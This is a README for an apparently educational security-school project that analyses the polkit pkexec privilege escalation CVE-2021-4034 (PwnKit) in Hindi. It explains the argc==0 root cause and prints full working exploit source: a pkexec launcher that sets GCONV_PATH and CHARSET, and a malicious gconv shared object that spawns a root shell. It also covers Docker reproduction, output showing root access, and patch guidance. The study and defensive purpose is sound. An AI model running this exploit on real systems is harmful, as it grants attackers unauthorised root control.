
Whitehat School 4기 CVE-2021-4034 분석 및 POC 작성
🔗 मूल परियोजना: berdav/CVE-2021-4034
यह परियोजना मूल के आधार पर शैक्षिक उद्देश्यों के लिए विश्लेषण और संशोधित संस्करण है।
MIT लाइसेंस का अनुपालन | व्हाइट हैट स्कूल शैक्षिक असाइनमेंट
CVE-2021-4034 Linux policykit-1 (PolicyKit) में एक स्थानीय विशेषाधिकार वृद्धि भेद्यता है। एक सामान्य उपयोगकर्ता pkexec को बिना किसी तर्क के चलाकर प्रक्रिया मेमोरी संरचना में खामी का लाभ उठा सकता है, और इसके माध्यम से glib को उन पर्यावरण चर स्ट्रिंग्स को फिर से संदर्भित करने देता है जिन्हें मूल रूप से फ़िल्टर किया जाना चाहिए था, जिससे एक दुर्भावनापूर्ण .so फ़ाइल लोड होती है और root विशेषाधिकार प्राप्त होता है।
⚠️ केवल शैक्षिक उद्देश्य: इस कोड का उपयोग केवल संशोधित सिस्टम पर ही करें।
वास्तविक सिस्टम पर हमले के लिए उपयोग करने पर कानूनी जिम्मेदारी हो सकती है।
| आइटम | विवरण |
|---|---|
| CVE ID | CVE-2021-4034 |
| भेद्यता नाम | PwnKit |
| प्रभावित संस्करण | polkit 0.105 से पहले पैच न लागू किए गए सभी संस्करण (परीक्षण वातावरण के अनुसार: Ubuntu 20.04 पर policykit-1 0.105-26ubuntu1) |
| भेद्यता प्रकार | Local Privilege Escalation (LPE) |
| गंभीरता | Critical (CVSS 7.8) |
| पैच संस्करण | policykit-1 >= 0.105-26ubuntu1.1 |
| खोज तिथि | जून 2021 (सार्वजनिक जनवरी 2022) |
यह समझना आसान है कि यह केवल Ubuntu की समस्या है, लेकिन चूंकि pkexec में ही तर्क दोष है, इसलिए polkit का उपयोग करने वाले अधिकांश वितरण प्रभावित होते हैं। Docker परीक्षण वातावरण Ubuntu 20.04 था, इसलिए उपरोक्त तालिका में वह संस्करण भी शामिल किया गया है।
शुरू में विश्लेषण करते समय मुझे लगा कि यह "पर्यावरण चर के सत्यापन की कमी" के कारण हुई समस्या है, लेकिन स्रोत कोड और पैच कमिट को एक साथ देखने पर पता चला कि क्रम थोड़ा अलग है। वास्तविक कारण अलग है, और पर्यावरण चर की समस्या उस कारण का परिणाम है। नीचे कारण क्रम में प्रवाह दिया गया है।
pkexec PolicyKit के माध्यम से विशेषाधिकार वृद्धि का अनुरोध करने वाला SUID-root प्रोग्राम है।
# उदाहरण: root विशेषाधिकार के साथ कमांड चलाना
pkexec /bin/id
pkexec systemctl restart service
सामान्य उपयोगकर्ता इसका उपयोग प्रशासनिक विशेषाधिकारों के साथ विशिष्ट कार्य करने के लिए करता है।
argc == 0 के मामले को संभाल नहीं पाताpkexec के main() फ़ंक्शन में कमांड-लाइन तर्कों को संसाधित करने वाले भाग में, जब बिना किसी तर्क के चलाया जाता है (argc == 0) तो इसकी जाँच नहीं की जाती। यही इस भेद्यता का वास्तविक प्रारंभ बिंदु है।
argv = {"pkexec", "कमांड", NULL} → argc >= 1execve("/usr/bin/pkexec", {NULL}, env) → argc == 0जब argc 0 होता है, तो argv सूची में केवल समाप्ति के लिए NULL रह जाता है। लेकिन pkexec का आंतरिक तर्क इस स्थिति में भी मौजूद नहीं argv[1] को पढ़ने और लिखने का प्रयास करता है। समस्या यह है कि Linux जब प्रक्रिया चलाता है, तो argv ऐरे और envp (पर्यावरण चर) ऐरे को मेमोरी में एक-दूसरे के ठीक बगल में रखता है। इसलिए सीमा से बाहर argv[1] वास्तव में envp[0], यानी पहले पर्यावरण चर को इंगित करता है।
सामान्य स्थिति: argv = [ "pkexec" | NULL ]
हमले की स्थिति: argv = [ NULL ] ← argc = 0
↑
मौजूद नहीं argv[1] तक पहुँच
↓
मेमोरी में ठीक पीछे स्थित envp[0] को पढ़ा और लिखा जाता है (आउट-ऑफ-बाउंड)
यह खतरनाक क्यों है:
GCONV_PATH, LD_PRELOAD जैसे खतरनाक पर्यावरण चर को असुरक्षित मानकर हटा देता है।argc < 1 होने पर तुरंत बाहर निकलने के लिए सत्यापन तर्क जोड़कर इस भाग को ठीक करते हैं। (CWE-125 आउट-ऑफ-बाउंड रीड, CWE-787 आउट-ऑफ-बाउंड राइट)📌 संक्षेप में: पर्यावरण चर का सत्यापन न होना "हमले के काम करने की शर्त" है, और वास्तविक भेद्यता (root cause) यह है कि pkexec argc == 0 के मामले को संभाल नहीं पाता। नीचे दिया गया बिंदु 3 इस कारण का परिणाम है।
बिंदु 2 में बताए गए OOB व्यवहार के कारण, pkexec के glib आरंभीकरण प्रक्रिया के दौरान यह स्ट्रिंग बिना सत्यापन के फिर से उपयोग में आ जाती है।
// CVE-2021-4034_exploit.c
char * const env[] = {
"GCONV_PATH=.", // मूल रूप से ld.so द्वारा फ़िल्टर किया जाना चाहिए था
"CHARSET=PWNKIT", // मौजूद नहीं एन्कोडिंग
};
execve("/usr/bin/pkexec", args, env); // argv खाली है, जिससे argc=0 बनता है
समस्या:
यहाँ महत्वपूर्ण बात यह है कि glib स्वयं गलत नहीं है। जब GCONV_PATH सेट होता है, तो glib का उस पथ से कनवर्टर खोजना सामान्य व्यवहार है। समस्या यह है कि pkexec ने पहले ही सुरक्षित निष्पादन स्थिति (खतरनाक पर्यावरण चर हटा दिए गए) को तोड़ दिया है — glib बस सामान्य रूप से काम कर रहा है, लेकिन उस सामान्य व्यवहार का दुरुपयोग किया जाता है।
CHARSET पर्यावरण चर की जाँच
CHARSET=PWNKIT
gconv-modules फ़ाइल में कनवर्टर परिभाषा खोजें
module UTF-8// PWNKIT// pwnkit 1
GCONV_PATH से .so फ़ाइल लोड करें
GCONV_PATH=. → वर्तमान निर्देशिका में pwnkit.so खोजें
.so फ़ाइल का आरंभीकरण फ़ंक्शन स्वचालित रूप से चलता है
// pwnkit.c - .so फ़ाइल लोड होने पर स्वचालित रूप से चलता है
void gconv_init(void *step)
{
setuid(0); // root विशेषाधिकार प्राप्त करें
setgid(0);
execve("/bin/sh"); // root शेल चलाएँ!
}
gconv_init को "कंस्ट्रक्टर फ़ंक्शन" कहना आसान है, लेकिन सख्ती से यह C के __attribute__((constructor)) से अलग है। सटीक रूप से यह gconv मॉड्यूल इंटरफ़ेस में परिभाषित आरंभीकरण फ़ंक्शन है, और glib dlopen के साथ .so लोड करने के बाद इस फ़ंक्शन को स्पष्ट रूप से कॉल करता है।
┌─────────────────────────────────────┐
│ सामान्य उपयोगकर्ता (uid=1000) │
└─────────────────────────────────────┘
│
│ 1. argv खाली करके pkexec चलाएँ (argc=0)
│ + दुर्भावनापूर्ण पर्यावरण चर सेट करें
│ GCONV_PATH=. / CHARSET=PWNKIT
↓
┌─────────────────────────────────────┐
│ pkexec निष्पादित │
│ argc सत्यापन नहीं → OOB → स्ट्रिंग पुनर्संदर्भित │
└─────────────────────────────────────┘
│
│ 2. glib सामान्य व्यवहार के अनुसार संसाधित करता है
│ CHARSET=PWNKIT एन्कोडिंग खोजें
│ GCONV_PATH=. से कनवर्टर खोजें
↓
┌─────────────────────────────────────┐
│ pwnkit.so लोड करें │
│ (वर्तमान निर्देशिका में दुर्भावनापूर्ण .so फ़ाइल) │
└─────────────────────────────────────┘
│
│ 3. gconv आरंभीकरण फ़ंक्शन स्वचालित रूप से चलता है (root विशेषाधिकार!)
↓
┌─────────────────────────────────────┐
│ root शेल प्राप्त करें ✅ │
│ uid=0(root) gid=0(root) │
└─────────────────────────────────────┘
# 1. परियोजना प्राप्त करें
git clone https://github.com/krleejihyeong/WHS4_CVE-2021-4034.git
cd WHS4_CVE-2021-4034
# 2. नवीनतम संस्करण जाँचें
git pull origin main
# 3. बिल्ड (कैश के बिना)
docker compose build --no-cache
# 4. चलाएँ
docker compose up
docker system prune -a --volumes --force का उपयोग केवल तभी करें जब उपरोक्त विधि काम न करे और कैश या वॉल्यूम खराब हो गए हों। यह पूरे सिस्टम के Docker कैश को हटाने वाला आक्रामक आदेश है, जिससे अन्य परियोजनाओं के कैश भी खत्म हो सकते हैं। संबंधित सामग्री नीचे "सामना की गई समस्याएँ और समाधान" में अलग से दी गई है।
pwnkit | वर्तमान विशेषाधिकार (हमले से पहले): uid=1000(WHS4_student)
pwnkit | # id
pwnkit | uid=0(root) gid=0(root) groups=0(root) ← सफलता! ✅

WHS4_CVE-2021-4034/
├── docker-compose.yml # Docker Compose सेटिंग
├── Dockerfile # कमजोर Ubuntu 20.04 वातावरण
├── start.sh # कंटेनर आरंभीकरण और स्वचालित निष्पादन
├── Makefile # बिल्ड सेटिंग
├── CVE-2021-4034_exploit.c # एक्सप्लॉइट कोड (pkexec कॉल)
├── pwnkit.c # दुर्भावनापूर्ण .so फ़ाइल (विशेषाधिकार वृद्धि)
├── gconv-modules # glib कनवर्टर मैपिंग
├── README.md # यह फ़ाइल
└── LICENSE # MIT लाइसेंस
#include <unistd.h>
int main(int argc, char *argv[])
{
// pkexec को चलाने के लिए प्रोग्राम निर्दिष्ट न करें
// (args में केवल NULL है) → यहीं पर argc=0 बनाया जाता है
char * const args[] = {
NULL
};
// 🔴 असत्यापित दुर्भावनापूर्ण पर्यावरण चर
// argc=0 के कारण OOB के चलते फिर से संदर्भित होने योग्य बन जाते हैं और pkexec तक पहुँचते हैं
char * const env[] = {
"GCONV_PATH=.", // कनवर्टर पथ (वर्तमान निर्देशिका)
"CHARSET=PWNKIT", // मौजूद नहीं एन्कोडिंग
"SHELL=/bin/sh",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
NULL
};
// pkexec चलाएँ (बिना तर्क के → argc=0 ट्रिगर)
execve("/usr/bin/pkexec", args, env);
return 0;
}
मुख्य बिंदु:
args में pkexec का नाम भी नहीं डाला, जिससे argc 0 हो जाता है → मूल कारण (argc सत्यापन न होना) ट्रिगर होता हैGCONV_PATH=. : OOB के कारण फिर से संदर्भित होने के बाद glib इस पथ से कनवर्टर खोजता हैCHARSET=PWNKIT : glib को इस एन्कोडिंग का कनवर्टर खोजने के लिए प्रेरित करता है#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// .so फ़ाइल को कनवर्टर के रूप में पहचानने के लिए फ़ंक्शन (प्रारूपिक रूप से आवश्यक)
void gconv()
{
}
// 🎯 CVE-2021-4034 का मूल
// .so फ़ाइल लोड होने पर glib dlopen के बाद स्पष्ट रूप से कॉल करता है यह आरंभीकरण फ़ंक्शन
// यह फ़ंक्शन root विशेषाधिकार के साथ चलता है! ← मुख्य भेद्यता!
void gconv_init(void *step)
{
char * const args[] = {
"/bin/sh", // root शेल चलाएँ
NULL
};
char * const env[] = {
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
NULL
};
// root विशेषाधिकार स्पष्ट रूप से सेट करें (पहले से root है)
setuid(0);
setgid(0);
// root शेल चलाएँ ← विशेषाधिकार वृद्धि सफल!
execve(args[0], args, env);
exit(0);
}
मुख्य बिंदु:
gconv_init() C कंस्ट्रक्टर एट्रीब्यूट नहीं है, बल्कि gconv मॉड्यूल इंटरफ़ेस मानक के अनुसार glib द्वारा dlopen के बाद सीधे कॉल किया जाने वाला आरंभीकरण फ़ंक्शन है।setuid(0) के बाद शेल चलाने पर सीधे root शेल मिल जाता है।$ id
uid=1000(WHS4_student) gid=1000(WHS4_student) groups=1000(WHS4_student),27(sudo)
$ cat /etc/shadow
cat: /etc/shadow: Permission denied

वास्तव में यह चित्र पहली बार एक्सप्लॉइट के सफल होने पर लिया गया था, और ऊपर उपयोगकर्ता विशेषाधिकार दिखाए गए हैं।
$ ./CVE-2021-4034_exploit
नोट: एक्सप्लॉइट को sudo की आवश्यकता नहीं है। pkexec पहले से SUID-root बाइनरी है, इसलिए केवल सामान्य उपयोगकर्ता विशेषाधिकार से root शेल प्राप्त करना इस भेद्यता का मुख्य बिंदु है। Docker परीक्षण वातावरण में
sudo -Eका उपयोग NOPASSWD सेटिंग की जाँच के लिए किया गया था, जो निष्पादन सुविधा के लिए था, भेद्यता से संबंधित नहीं है।
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /etc/shadow
root:*:18783:0:99999:7:::
daemon:*:18783:0:99999:7:::
... (केवल root देख सकता है)

ऊपर देखा जा सकता है कि वास्तविक हमले के बाद root विशेषाधिकार प्राप्त हुआ।
यदि हमले से पहले और बाद की अधिक संपूर्ण तुलना देखनी हो, तो ऊपर ### वास्तविक हमले से पहले विशेषाधिकार भाग के चित्र को देखने की अनुशंसा की जाती है।
✅ विशेषाधिकार वृद्धि सफल!
Ubuntu 20.04 आधारित Docker वातावरण में पुनरुत्पादन सफल (policykit-1 0.105-26ubuntu1)। अभी तक बार-बार परीक्षण की संख्या अधिक नहीं है, इसलिए कर्नेल और वितरण संस्करण बदल-बदल कर कुछ और बार चलाकर परिणाम भरे जाएँगे।
# 1. पैच अपग्रेड (अनुशंसित)
sudo apt-get update
sudo apt-get install policykit-1=0.105-26ubuntu1.1
# संस्करण जाँचें
dpkg -l | grep policykit-1
# 0.105-26ubuntu1.1 या उससे अधिक होना चाहिए
# /etc/sudoers संपादित करें (sudo visudo)
Defaults env_delete = "GCONV_PATH,GCONV_MODULES,CHARSET"
unset GCONV_PATH
unset GCONV_MODULES
unset CHARSET
पैच मूल समाधान है, और उपरोक्त दो पैच लागू होने तक अस्थायी उपाय हैं। argc सत्यापन की समस्या स्वयं pkexec कोड को ठीक करने से ही हल होती है, इसलिए केवल पर्यावरण चर को रोकने से पूरी तरह नहीं रुकेगा।
docker-compose कमांड नहीं मिलाकारण: Ubuntu 24.04 में docker-compose (v1) मौजूद नहीं है, केवल docker compose (v2) है
समाधान:
# docker compose कमांड का उपयोग करें (v2)
docker compose up
कारण: Dockerfile में NOPASSWD सेटिंग ठीक से लागू नहीं हुई (Docker कैश समस्या)
समाधान:
docker compose build --no-cache
docker compose up
फिर भी काम न करे तो कैश पूरी तरह हटाकर पुनः प्रयास करें।
docker compose down -v
docker system prune -a --volumes --force
docker compose up --build --no-cache
कारण: स्थानीय फ़ाइलें पुराने संस्करण पर बनी रहती हैं
समाधान:
# GitHub से नवीनतम संस्करण प्राप्त करें
git pull origin main
# फ़ाइल जाँचें
cat Dockerfile | grep NOPASSWD
cat start.sh | grep "nofork=false"
# पुनः बिल्ड करें
docker compose up --build --no-cache
कारण: पुराना कंटेनर अभी भी मौजूद है
समाधान:
# कंटेनर हटाएँ
docker compose down
docker rm pwnkit -f
# पुनः चलाएँ
docker compose up
कारण: Docker में निर्मित फ़ाइलों की अनुमति root की है
समाधान:
# WSL/Linux में
sudo rm -rf WHS4_CVE-2021-4034
लेखक: krleejihyeong
नए लिखे/संशोधित भाग:
यह परियोजना MIT लाइसेंस के अंतर्गत आती है।
Copyright (c) 2026 krleejihyeong (संशोधन और विश्लेषण)
Copyright (c) 2021 berdav (मूल PoC)
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
विस्तृत जानकारी के लिए LICENSE फ़ाइल देखें।
यह परियोजना पूर्णतः शैक्षिक उद्देश्यों के लिए बनाई गई है।
अनधिकृत कंप्यूटर सिस्टम तक पहुँच कानूनी दंड का कारण बन सकती है।
अंतिम अपडेट: जुलाई 2026